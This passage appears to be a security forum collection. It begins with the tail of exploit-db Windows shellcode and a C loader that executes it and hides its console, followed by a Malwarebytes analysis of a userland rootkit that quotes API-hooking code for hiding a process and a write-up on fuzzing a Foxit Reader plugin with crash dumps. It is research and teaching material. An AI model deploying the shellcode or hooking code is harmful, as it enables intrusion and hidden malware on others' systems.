49\x89\x14\x24\x49\x89\x54\x24\x08\xb2\x10\x52\x4c\x8d\x04\x24\x49\x8d\x14\x24\x4c\x89\xe9\x48\x83\xec\x58\xff\xd3\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54\x24\x08\xb2\x68\x48\x31\xc9\x41\x89\x14\x24\x49\x89\x4c\x24\x04\x49\x89\x4c\x24\x0c\x49\x89\x4c\x24\x14\x49\x89\x4c\x24\x18\xb2\xff\x48\xff\xc2\x41\x89\x54\x24\x3c\x49\x89\x44\x24\x50\x49\x89\x44\x24\x58\x49\x89\x44\x24\x60\x41\xc7\x44\x24\xfc\x63\x6d\x64\x41\x41\x88\x4c\x24\xff\x48\x83\xec\x58\x49\x8d\x54\x24\xfc\x4d\x31\xc0\x41\x50\x41\x59\xc6\x44\x24\x20\x01\x4c\x89\x44\x24\x28\x4c\x89\x44\x24\x30\x4c\x89\x44\x24\x38\x49\x8d\x04\x24\x48\x89\x44\x24\x40\x49\x8d\x44\x24\x68\x48\x89\x44\x24\x48\x4d\x31\xd2\x66\x41\xba\x94\x02\x42\x8b\x1c\x16\x4c\x01\xf3\xff\xd3\x66\x41\xba\xa4\x04\x42\x8b\x1c\x16\x4c\x01\xf3\x6a\x01\x59\x48\x83\xc4\x58\xff\xd3"; int main() { int len=strlen(shellcode); DWORD l=0; printf("shellcode length : %d\n",len); //making memory executbale VirtualProtect(shellcode,len,PAGE_EXECUTE_READWRITE,&l); //hiding windows AllocConsole(); ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0); // (* (int(*)()) shellcode)(); return 0; } Sursa: https://www.exploit-db.com/exploits/40890/?rss

Simple userland rootkit – a case study Posted December 7, 2016 by Malwarebytes Labs Rootkits are tools and techniques used to hide (potentially malicious) modules from being noticed by system monitoring. Many people, hearing the word “rootkit” directly think of techniques applied in a kernel mode, like IDT (Interrupt Descriptor Table) hooking, SSDT (System Service Dispatch Table) hooking, DKOM (Direct Kernel Object Manipulation), and etc. But rootkits appear also in a simpler, user-mode flavor. They are not as stealthy as kernel-mode, but due to their simplicity of implementation they are much more spread. That’s why it is good to know how they works. In this article, we will have a case study of a simple userland rootkit, that uses a technique of API redirection in order to hide own presence from the popular monitoring tools. Analyzed sample 01fb4a4280cc3e6af4f2f0f31fa41ef9 //special thanks to @MalwareHunterTeam The rootkit code This malware is written in .NET and not obfuscated – it means we can decompile it easily by a decompiler like dnSpy. As we can see in the code, it hooks 3 popular monitoring applications: Process Explorer (procexp), ProcessHacker and Windows Task Manager (taskmgr): Let’s try to run this malware under dnSpy and observe it’s behavior under Process Explorer. The sample has been named malware.exe. At the beginning it is visible, like any other process: …but after executing the hooking routine, it just disappears from the list: Attaching a debugger to the Process Explorer we can see that some of the API functions, i.e., NtOpenProcess starts in atypical way – from a jump to some different memory page: The redirection leads to the injected code: It is placed in added memory page with full access rights: We can dump this page and open it in IDA, getting a view of 3 functions: The code of the first function begins at offset 0x60: The space before is filled with some other data, that will be discussed in a second part of the article. Rootkit implementation Let’s have a look at the implementation details now. As we saw before, hooking is executed in a function HookApplication. Looking at the beginning of this function we can confirm, that the rootkit’s role is to install in-line hooks on particular API functions: NtReadVirtualMemory, NtOpenProcess, NtQuerySystemInformation. Those functions are imported from ntdll.dll. Let’s have a look at what is required in order to implement such a simple rootkit. The original decompiled class is available here: ROOT1.cs. Preparing the data First, the malware needs to know the base address, where ntdll.dll is loaded in the space of the attacked process. The base is fetched by a function GetModuleBase address, that employs enumerating through the modules loaded within the examined process (using: Module32First – Module32Next). Having the module base, the malware needs to know the addresses of the functions, that are going to be overwritten. The GetRemoteProcAddressManual searches those address in the export table of the found module. Fetched addresses are saved in an array: //fetch addresses of imported functions: func_to_be_hooked[0] = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtReadVirtualMemory") ); func_to_be_hooked[1] = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtOpenProcess") ); func_to_be_hooked[2] = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtQuerySystemInformation") ); Code from the beginning of those functions is being read and stored in buffers: //copy original functions' code (24 bytes): original_func_code[0] = ROOT1.ReadMemoryByte(intPtr, (IntPtr)((long)((ulong)func_to_be_hooked[0])), 24u); original_func_code[1] = ROOT1.ReadMemoryByte(intPtr, (IntPtr)((long)((ulong)func_to_be_hooked[1])), 24u); original_func_code[2] = ROOT1.ReadMemoryByte(intPtr, (IntPtr)((long)((ulong)func_to_be_hooked[2])), 24u); The small 5-byte long array will be used to prepare a jump. The first byte, 233 is 0xE9 hex, and it represents the opcode of the JMP instruction. Other 4 bytes will be filled with the address of the detour function: Another array contains prepared detours functions in form of shellcodes: Shellcodes are stored as arrays of decimal numbers: In order to analyze the details, we can dump each shellcode to a binary form and load it in IDA. For example, the resulting pseudocode of the detour function of NtOpenProcess is: int __stdcall NtOpenProcess_filter(int ProcessHandle, int DesiredAccess, int ObjectAttributes, _DWORD *ClientId) { int res; //result of the operation if ( ClientId && *ClientId == *(_DWORD *)((char *)&malwareId + 3) ) res = 0xC0000022; //STATUS_ACCESS_DENIED else res = ((int (__stdcall *)(int, int, int, _DWORD *))((char *)&NOpentProcess_original))( ProcessHandle, DesiredAccess, ObjectAttributes, ClientId); return res; } view rawshellcode2.cpp hosted with ❤ by GitHub So, what does this detour function do? Very simple filtering: “if someone ask about the malware, tell them that it’s not there. But if someone ask about something else, tell the truth”. Other filters, applied on NtReadVirtualMemory and NtQuerySystemInformation (for SYSTEM_INFORMATION_CLASS types: 5 = SystemProcessInformation, 16 = SystemHandleInformation) – manipulates, appropriately: reading memory of the hooked process and reading information about all the processes. Of course, the fiters must know, how to identify the malicious process that wants to remain hidden. In this rootkit it is identified by the process ID – so, it needs to be fetched and saved in the data that is injected along with the shellcode. The detour function of NtReadVirtualMemory will also call from inside functions: GetProcessId and GetCurrentProcessId in order to apply filtering – so, their handles need to be fetched and saved as well: getProcId_ptr = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "kernel32.dll")), "GetProcessId") ); getCuttentProcId_ptr = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "kernel32.dll")), "GetCurrentProcessId") ); Putting it all together All the required elements must be put together in a proper way. First, the malware allocates a new memory area, and copies all the elements in order: BitConverter.GetBytes(getProcId_ptr).CopyTo(array, 0); BitConverter.GetBytes(getCuttentProcId_ptr).CopyTo(array, 4); //... // copy the current process ID BitConverter.GetBytes(Process.GetCurrentProcess().Id).CopyTo(array, 8); //... // copy the original functions' addresses: BitConverter.GetBytes(func_to_be_hooked[0]).CopyTo(array, 12); BitConverter.GetBytes(func_to_be_hooked[1]).CopyTo(array, 16); BitConverter.GetBytes(func_to_be_hooked[2]).CopyTo(array, 20); //... //copy the code of original functions: original_func_code[0].CopyTo(array, 24); original_func_code[1].CopyTo(array, 48); original_func_code[2].CopyTo(array, 72); After this prolog, the three shellcodes are being copied into the same memory page – and the page is injected into the attacked process. Finally, the beginning of each attacked function is being patched with a jump, redirecting to the appropriate detour function within the injected page. Bugs and Limitations The basic functionality of a rootkit has been achieved here, however, this code contains also some bugs and limitations. For example, it causes an application to crash if the functions have been already hooked (for example in the case if the malware has been deployed for the second time). It is caused by the fact that the hook needs also a copy of the original function in order to work. The hooking function assumes, that the code in the memory of ntdll.dll is always the original one and it copies it to the required buffer (rather than copying it from the raw image of ntdll.dll). Of course this assumption is valid only in optimistic case, and fails if the function was hooked before. There are also many limitations – i.e. the hooking function is deployed only at the beginning of the execution, but when we deploy a monitoring program while the malware is running, we can still see it set of hooked applications is small – we can still attach to the malware via debugger or view it by any tool that is not considered by the authors the implemented code works only for 32 bit applications Conclusion The demonstrated rootkit is very simple, probably created by a novice. However, it allows us to illustrate very well the basic idea behind API hooking and how it can be used in order to hide the process. This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest in InfoSec. She loves going in details about malware and sharing threat information with the community. Check her out on Twitter @hasherezade and her personal blog: https://hshrzd.wordpress.com. Sursa: https://blog.malwarebytes.com/threat-analysis/2016/12/simple-userland-rootkit-a-case-study/

Applied high-speed in-process fuzzing: the case of Foxit Reader # Date: 2016-12-08 # Author: Jean-Jamil Khalife # Home: http://www.hdwsec.fr # Blog: http://www.hdwsec.fr/blog/ Introduction Fuzzing has now become commonplace, especially since the release of AFL [1]. Since performance is key, we'd like to optimize our fuzzing methods to maximize the number of bugs found during a given period of time. This article describes a general method applied to a plugin of Foxit Reader [2] which is responsible for converting an image to PDF. More specifically, we are focusing on version 7.3.6.321 of Foxit and version 7.3.4.308 of the vulnerable plugin (ConvertToPDF_x86). Several interesting crashes were found for this version of the plugin. As they were independently discovered by another researcher who disclosed them to the Foxit team (leading to a new, fixed version) we have decided to release them now. Fuzzing method When an image is opened with Foxit Reader, the plugin ConvertToPDF_x86 is loaded in order to convert the image to PDF and display it. This plugin takes care of the most common image file formats (JPEG, GIF, PNG, ...). 1 2 3 ModLoad: 6cf90000 6cf96000 C:\Windows\SysWOW64\IconCodecService.dll ModLoad: 50230000 50f61000 C:\Windows\SysWOW64\ieframe.dll ModLoad: 53820000 53d45000 C:\Program Files (x86)\Foxit Software\Foxit Reader\Plugins\Creator\x86\ConvertToPDF_x86.dll In my fuzzing tests, I decided to concentrate on the JPEG file format. I then identified the function of Foxit (core) that calls the plugin: 1 2 3 4 5 6 7 003b96f0 533c932e kernel32!CreateFileW 003b9720 533cb136 ConvertToPDF_x86!DestorFXPDFConvertor+0x4fe 003b975c 02598c3f ConvertToPDF_x86!CreateFXPDFConvertor+0x646 003bb644 0128e6fd FoxitReader_Lib_Full!CryptUIWizExport+0x8856ff 003beac8 0128637a FoxitReader_Lib_Full+0x18e6fd 003beb18 0128691c FoxitReader_Lib_Full+0x18637a 003beed0 013aefa8 FoxitReader_Lib_Full+0x18691c By examining the arguments pushed on the stack, we can see that the first one points to the image file path, and the second to the temporary PDF file to be written. Note that due to ASLR the addresses shown below may differ from the list of modules above. 1 2 3 4 5 6 7 0032e6f0 6a01 push 1 0032e6f2 6a00 push 0 0032e6f4 51 push ecx ; path to temp PDF file 0032e6f5 8bc8 mov ecx,eax 0032e6f7 8b4604 mov eax,dword ptr [esi+4] 0032e6fa 52 push edx ; path to JPEG image 0032e6fb ffd0 call eax By dynamically altering the arguments when Foxit calls the function, we were able to open any other arbitrary image. Then by restoring the context (notably x86 registers) between calls, it becomes possible to quickly call this conversion function repeatedly. Fortunately, the heap does not need to be restored each time. This approach can be automated in a number of ways. We could have used Pintool [3], but instead I decided to write a specific tool for optimization purposes. To this end I wrote a mini debugger that starts Foxit Reader by passing an image as parameter and breaks on the relevant call to the image conversion function in ConvertToPDF_x86.dll in order to get the context to be replayed in the next step. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 CONTEXT ctx; ... case EXCEPTION_DEBUG_EVENT: { EXCEPTION_DEBUG_INFO& exception = debug_event.u.Exception; switch (exception.ExceptionRecord.ExceptionCode) { case STATUS_BREAKPOINT: ... if (IsMyBp()) { SaveContext(&ctx); ... RunFuzzing(&ctx); ... } } } The debugger then injects a DLL (this is done by RunFuzzing()) in Foxit's memory and sets the appropriate values to be passed to the called function. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 while(TRUE) { corrupt(image); // call the fonction _asm { push 1 push 0 lea edi, pdf_path push edi; lea edi, image_path push edi; mov edi, val_edi mov esi, val_esi mov ecx, val_ecx mov ebx, val_ebx mov eax, val_eax mov edx, val_edx call eax } } On an Intel Xeon E3-1230v3 (3.3 GHz) we managed to run between 150 and 300 tests/sec depending on the fuzzing method used. It is important to note that the fuzzing has to take place within the Foxit process: manually calling the DLL plugin will not work directly. Fuzzing results Even with simple bit flipping, a number of crashes were quickly produced, some of them potentially exploitable. A total of three days of fuzzing led to the discovery of the crashes below. 1 2 3 4 5 eax=11ba0020 ebx=25000007 ecx=ec54a4e6 edx=11ba0020 esi=11544060 edi=25000007 eip=5cc76ff3 esp=003c8b10 ebp=003c8b18 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 ConvertToPDF_x86!CreateFXPDFConvertor+0x2ba793: 5cc76ff3 8a19 mov bl,byte ptr [ecx] ds:002b:ec54a4e6=?? 1 2 3 4 5 eax=1e7df002 ebx=1e7df000 ecx=1e7df002 edx=1e7df000 esi=1c7bdfc0 edi=1e7e0ff8 eip=6735d9a6 esp=00399750 ebp=00399750 iopl=0 nv up ei ng nz na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287 ConvertToPDF_x86!CreateFXPDFConvertor+0x192eb6: 6735d9a6 0fb601 movzx eax,byte ptr [ecx] ds:002b:1e7df002=?? 1 2 3 4 5 eax=7b2e0ee2 ebx=1c59cfc8 ecx=00000001 edx=52cf0002 esi=00000000 edi=1f20fff8 eip=67e399e8 esp=035f9854 ebp=035f985c iopl=0 nv up ei ng nz ac pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 ConvertToPDF_x86!CreateFXPDFConvertor+0x2deef8: 67e399e8 8808 mov byte ptr [eax],cl ds:002b:7b2e0ee2=?? 1 2 3 4 5 eax=00000000 ebx=44436fb0 ecx=61f3dbf7 edx=431e1078 esi=00000000 edi=44438fb8 eip=620ba719 esp=00309efc ebp=00309f20 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 ConvertToPDF_x86!CreateFXPDFConvertor+0x2dfc29: 620ba719 837e0800 cmp dword ptr [esi+8],0 ds:002b:00000008=???????? 1 2 3 4 5 eax=00000000 ebx=56bc8fb8 ecx=67fae147 edx=42551078 esi=00000000 edi=00000000 eip=6812b468 esp=00219788 ebp=002197b8 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246 ConvertToPDF_x86!CreateFXPDFConvertor+0x2e0978: 6812b468 397e08 cmp dword ptr [esi+8],edi ds:002b:00000008=???????? 1 2 3 4 5 eax=00000000 ebx=000002fa ecx=00000060 edx=44b57f7f esi=003f9d5c edi=44b57fbf eip=69885b61 esp=003f9d08 ebp=003f9d1c iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 ConvertToPDF_x86!CreateFXPDFConvertor+0x1bb071: 69885b61 8a5c0302 mov bl,byte ptr [ebx+eax+2] ds:002b:000002fc=?? You can download some of them here. Conclusion This method could potentially be applied to any piece of software on the condition that one is able to easily recreate the state of the software right before the targeted function (or group of functions) is to be called. This is in my opinion the biggest hurdle to overcome. The case of ConvertToPDF_x86 is straightforward, but in a number of other cases, memory allocations, deallocations and global state changes (or initialization routines) must be taken care of. Towards this aim Pintool [3] might become very useful and may be an interesting direction for further research. Note that we could optimize this fuzzing method by hooking the plugin's read/write access, thus avoiding writing any files on disk during the job. References: [1] American Fuzzy Lop, http://lcamtuf.coredump.cx/afl/ [2] Foxit Reader, https://www.foxitsoftware.com/products/pdf-reader/ [3] Pintool, https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool Sursa: http://hdwsec.fr/blog/inprocessfuzzing.html